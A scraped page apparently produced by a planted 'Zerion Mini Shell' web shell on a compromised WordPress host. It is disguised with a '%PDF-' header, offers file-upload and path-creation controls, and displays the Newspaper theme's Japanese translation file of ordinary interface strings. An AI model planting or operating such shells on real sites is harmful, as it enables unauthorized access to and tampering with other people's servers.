%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/jugement/wp-content/themes/Newspaper/translation/
Upload File :
Create Path :
Current File : /home/emergentqj/jugement/wp-content/themes/Newspaper/translation/ja.po

msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: ja\n"

#: no reference:
msgid "View all results"
msgstr "結果を全部見る"

#: no reference:
msgid "No results"
msgstr "結果なし"

#: no reference:
msgid "Home"
msgstr "ホーム"

#: no reference:
msgid "CLOSE"
msgstr "閉じる"

#: no reference:
msgid "Page"
msgstr "ページ"

#: no reference:
msgid "All"
msgstr "全部"

#: no reference:
msgid "By"
msgstr "から"

#: no reference:
msgid "Load more"
msgstr "もっとロードする"

#: no reference:
msgid "View all posts in"
msgstr "投稿を全部見る"

#: no reference:
msgid "Tags"
msgstr "タグ"

#: no reference:
msgid "Previous article"
msgstr "前の記事"

#: no reference:
msgid "Next article"
msgstr "次の記事"

#: no reference:
msgid "Authors"
msgstr "著者"

#: no reference:
msgid "Author"
msgstr "著者"

#: no reference:
msgid "RELATED ARTICLES"
msgstr "関連記事"

#: no reference:
msgid "MORE FROM AUTHOR"
msgstr "同じ著者から"

#: no reference:
msgid "VIA"
msgstr "から"

#: no reference:
msgid "SOURCE"
msgstr "ソース"

#: no reference:
msgid "TAGS"
msgstr "タグ"

#: no reference:
msgid "SHARE"
msgstr "シェア"

#: no reference:
msgid "Continue"
msgstr "続ける"

#: no reference:
msgid "Read more"
msgstr "もっと読む"

#: no reference:
msgid "Name:"
msgstr "名前:"

#: no reference:
msgid "Email:"
msgstr "Eメール:"

#: no reference:
msgid "Website:"
msgstr "ウェブサイト:"

#: no reference:
msgid "Comment:"
msgstr "コメント:"

#: no reference:
msgid "LEAVE A REPLY"
msgstr "返事を書く"

#: no reference:
msgid "Post Comment"
msgstr "コメントを書く"

#: no reference:
msgid "Cancel reply"
msgstr "返事をキャンセル"

#: no reference:
msgid "Reply"
msgstr "返事"

#: no reference:
msgid "Log in to leave a comment"
msgstr "ログインしてコメントを書く"

#: no reference:
msgid "NO COMMENTS"
msgstr "コメントなし"

#: no reference:
msgid "1 COMMENT"
msgstr "1コメント"

#: no reference:
msgid "COMMENTS"
msgstr "コメント"

#: no reference:
msgid "REVIEW OVERVIEW"
msgstr "概要を観覧"

#: no reference:
msgid "SUMMARY"
msgstr "概要"

#: no reference:
msgid "OVERALL SCORE"
msgstr "全体のスコア"

#: no reference:
msgid "Ooops... Error 404"
msgstr "エラー404発生"

#: no reference:
msgid "Sorry, but the page you are looking for doesn't exist."
msgstr "すみません。 ページは存在しません。"

#: no reference:
msgid "You can go to the"
msgstr "次にいけます"

#: no reference:
msgid "HOMEPAGE"
msgstr "ホームページ"

#: no reference:
msgid "OUR LATEST POSTS"
msgstr "最近の投稿"

#: no reference:
msgid "Posts by"
msgstr "からの投稿"

#: no reference:
msgid "POSTS"
msgstr "投稿"

#: no reference:
msgid "Posts tagged with"
msgstr "次のタグがある投稿"

#: no reference:
msgid "Tag"
msgstr "タグ"

#: no reference:
msgid "Daily Archives:"
msgstr "デイリーアーカイブ"

#: no reference:
msgid "Monthly Archives:"
msgstr "マンスリーアーカイブ"

#: no reference:
msgid "Yearly Archives:"
msgstr "年間アーカイブ"

#: no reference:
msgid "Archives"
msgstr "アーカイブ"

#: no reference:
msgid "LATEST ARTICLES"
msgstr "最新アーカイブ"

#: no reference:
msgid "search results"
msgstr "検索結果"

#: no reference:
msgid "Search"
msgstr "検索"

#: no reference:
msgid "If you're not happy with the results, please do another search"
msgstr "結果が一致しない場合はもう一度検索してください"

#: no reference:
msgid "Contact us"
msgstr "お問い合わせ"

#: no reference:
msgid "Page %CURRENT_PAGE% of %TOTAL_PAGES%"
msgstr "ページ%CURRENT_PAGE%の%TOTAL_PAGES%"

#: no reference:
msgid "Next"
msgstr "次"

#: no reference:
msgid "Prev"
msgstr "前"

#: no reference:
msgid "No results for your search"
msgstr "検索結果はありませんn"

#: no reference:
msgid "No posts to display"
msgstr "表示できる投稿はありません"

#: no reference:
msgid "LOG IN"
msgstr "ログイン"

#: no reference:
msgid "Sign in / Join"
msgstr "サインイン/登録する"

#: no reference:
msgid "Log In"
msgstr "ログイン"

#: no reference:
msgid "REGISTER"
msgstr "新規登録"

#: no reference:
msgid "Send My Pass"
msgstr "パスを送る"

#: no reference:
msgid "Forgot your password?"
msgstr "パスワードを忘れましたか?"

#: no reference:
msgid "Please wait..."
msgstr "お待ちください"

#: no reference:
msgid "User or password incorrect!"
msgstr "ユーザーかパスワードが間違ってます!"

#: no reference:
msgid "Email or username incorrect!"
msgstr "Eメールかユーザ名が間違ってます!"

#: no reference:
msgid "Email incorrect!"
msgstr "Eメールが間違ってます!"

#: no reference:
msgid "User or email already exists!"
msgstr "ユーザーかEメールはすで登録されてます!"

#: no reference:
msgid "Please check your email (index or spam folder), the password was sent there."
msgstr "パスワードが送信されたEメール(インデックスかスパムフォルダ)を確認してください。"

#: no reference:
msgid "Email address not found!"
msgstr "Eメールアドレスは見つかりませんでした"

#: no reference:
msgid "Your password is reset, check your email."
msgstr "パスワードはリセットされました。 Eメールを確認してください"

#: no reference:
msgid "Welcome! Log into your account"
msgstr "ようこそ! アカウントにログインしてください"

#: no reference:
msgid "Register for an account"
msgstr "アカウントを取得する"

#: no reference:
msgid "Recover your password"
msgstr "パスワードをリカバーする"

#: no reference:
msgid "your username"
msgstr "あなたのユーザー名"

#: no reference:
msgid "your password"
msgstr "あなたのパスワード"

#: no reference:
msgid "your email"
msgstr "あなたのEメール"

#: no reference:
msgid "A password will be e-mailed to you."
msgstr "パスワードはEメールで送られます"

#: no reference:
msgid "Logout"
msgstr "ログアウト"

#: no reference:
msgid "Like"
msgstr "いいね"

#: no reference:
msgid "Fans"
msgstr "ファン"

#: no reference:
msgid "Follow"
msgstr "フォロー"

#: no reference:
msgid "Followers"
msgstr "フォロワー"

#: no reference:
msgid "Subscribe"
msgstr "購読"

#: no reference:
msgid "Subscribers"
msgstr "購読者"

#: no reference:
msgid "MORE STORIES"
msgstr "他の記事"

#: no reference:
msgid "Latest"
msgstr "最新"

#: no reference:
msgid "Featured posts"
msgstr "特集投稿"

#: no reference:
msgid "Most popular"
msgstr "人気順"

#: no reference:
msgid "7 days popular"
msgstr "7日間人気"

#: no reference:
msgid "By review score"
msgstr "評価順"

#: no reference:
msgid "Random"
msgstr "ランダム"

#: no reference:
msgid "Trending Now"
msgstr "今話題"

#: no reference:
msgid "POPULAR CATEGORY"
msgstr "人気カテゴリ"

#: no reference:
msgid "EVEN MORE NEWS"
msgstr "もっと他のニュース"

#: no reference:
msgid "Previous (Left arrow key)"
msgstr "前(左アロー キー)"

#: no reference:
msgid "Next (Right arrow key)"
msgstr "次(右アロー キー)"

#: no reference:
msgid "%curr% of %total%"
msgstr "%curr%の%total%"

#: no reference:
msgid "The content from %url% could not be loaded."
msgstr "%url%のコンテンツはロードできませんでした。"

#: no reference:
msgid "The image #%curr% could not be loaded."
msgstr "#%curr%からの画像はロードできませんでした。"

#: no reference:
msgid "Blog"
msgstr "ブログ"

#: no reference:
msgid "Share on Facebook"
msgstr "フェイスブックでシェア"

#: no reference:
msgid "Tweet on Twitter"
msgstr "ツイッターでツイート"

#: no reference:
msgid "EDITOR PICKS"
msgstr "エディタのピック"

#: no reference:
msgid "POPULAR POSTS"
msgstr "人気の投稿"

#: no reference:
msgid "FOLLOW US"
msgstr "フォローします"

#: no reference:
msgid "ABOUT US"
msgstr "私たちに関しては"

#: no reference:
msgid "More"
msgstr "もっと"

#: no reference:
msgid "Featured"
msgstr "おすすめの"

#: no reference:
msgid "All time popular"
msgstr "すべての時間の人気"

#: no reference:
msgid "Likes"
msgstr "同類"

#: no reference:
msgid "Register"
msgstr "登録"


Zerion Mini Shell 1.0